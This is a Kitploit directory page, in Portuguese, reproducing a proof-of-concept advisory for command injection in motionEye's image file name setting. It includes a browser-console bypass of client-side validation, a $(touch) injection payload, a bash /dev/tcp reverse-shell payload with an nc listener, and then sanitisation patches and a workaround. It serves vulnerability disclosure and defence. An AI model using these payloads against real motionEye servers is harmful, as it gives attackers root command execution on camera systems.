Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
motionEye-RCE-through-config-parameter — Passos do PoC para esta vulnerabilidade | Kitploit
Ferramentas/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Passos do PoC para esta vulnerabilidade

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
21há 10 mesesAinda não revisado

MotionEye RCE via bypass de validação no lado do cliente

Resumo

Durante o teste de segurança de uma instância do MotionEye executando em Docker, observou-se que a validação no lado do cliente dentro da interface web pode ser ignorada. Isso permite que entradas arbitrárias sejam enviadas, incluindo payloads que podem acionar execução no contêiner host. O problema representa um risco de execução remota de código (RCE) se explorado.

Versões afetadas: Todas as versões até e incluindo 0.43.1b4
Status do patch: Nenhum patch disponível ainda. Uma solução alternativa é fornecida neste aviso.
Referência do projeto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Ambiente

  • Alvo: MotionEye executando em Docker
  • Imagem: ghcr.io/motioneye-project/motioneye:edge
  • Porta exposta: 9999 mapeada para a 8765 do contêiner
  • Credenciais de teste: admin / senha em branco (padrão)

Passos para Reproduzir

1. Configuração do Contêiner

Execute o seguinte comando para iniciar o download da imagem Docker e iniciar o contêiner

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Verificação da Versão

root@kitploit:~
docker logs motioneye | grep "motionEye server"

Resultado: Servidor MotionEye 0.43.1b4 image

3. Acesso ao Sistema de Arquivos

Uma vez que o contêiner Docker esteja em execução, o shell do contêiner pode ser acessado usando os seguintes comandos

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Acesso Inicial

Acesse a interface web em:
http://127.0.0.1:9999
Login: admin (senha em branco)

5. Configuração da Câmera

Adicionada câmera de rede RTSP de exemplo.
image

6. Tentativa de Injeção

Um comando de execução malicioso foi inserido em "Still Images" > "Image File Name", mas um erro de validação no lado do cliente foi encontrado.

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Bloqueado pela validação no lado do cliente.
image

image

7. Descoberta da Validação no Lado do Cliente

O seguinte script é responsável pela validação: /static/js/main.js?v=0.43.1b4, que referencia /static/js/ui.js?v=0.43.1b4 para implementar as condições de validação.

Arquivo: /static/js/main.js?v=0.43.1b4 referenciando /static/js/ui.js?v=0.43.1b4

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Técnica de Bypass

Ao sobrescrever a função configUiValid no console do navegador, todas as verificações de validação podem ser ignoradas: Insira o trecho abaixo no console do navegador (F12 ou Ctrl+Shift+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
image

9. Execução do Payload

Agora o payload pode ser inserido diretamente sem qualquer validação: defina como abaixo e aplique as configurações

Configurações:

  • Modo de captura = Interval Snapshots
  • Intervalo = 10
  • Image File Name:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Aplicado → Arquivo criado com permissões de root.

image

Impacto: Armando o RCE

produção simples de reverse shell:

Listener:

root@kitploit:~
nc -lvnp 4444
image

Payload Injetado:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Resultado: Shell remoto obtido.


Causa Raiz e Fluxo

O MotionEye é vulnerável porque recebe entrada do usuário pelo painel web e a escreve diretamente nos arquivos de configuração do Motion sem verificar caracteres perigosos. Por exemplo, o campo image_file_name na interface é enviado ao backend (config.py) e salvo em /etc/motioneye/camera-.conf. Quando o MotionEye reinicia o serviço Motion (motionctl.start), o processo Motion lê esse arquivo de configuração. Se o campo picture_filename contiver sintaxe de shell como $(touch /tmp/test), o Motion o executará como um comando real em vez de tratá-lo como parte do nome do arquivo.

Entrada não sanitizada escrita nos arquivos de configuração do Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analisa picture_filename → executa payload


Prevenção

Correção de Sanitização

Arquivo: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image

Aplicar sanitização:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

antes: image depois: image


Resolução Alternativa

Passo 1: Executar Docker

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Passo 2: Acessar o Contêiner

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

Passo 3: Modificar a Configuração

Original:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

Substituir por:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
image

Passo 4: Reiniciar

root@kitploit:~
docker restart motioneye
image

Patch Alternativo

Dentro de motion_camera_ui_to_dict(...):

Original:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

Substituir por:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
Baixar ferramenta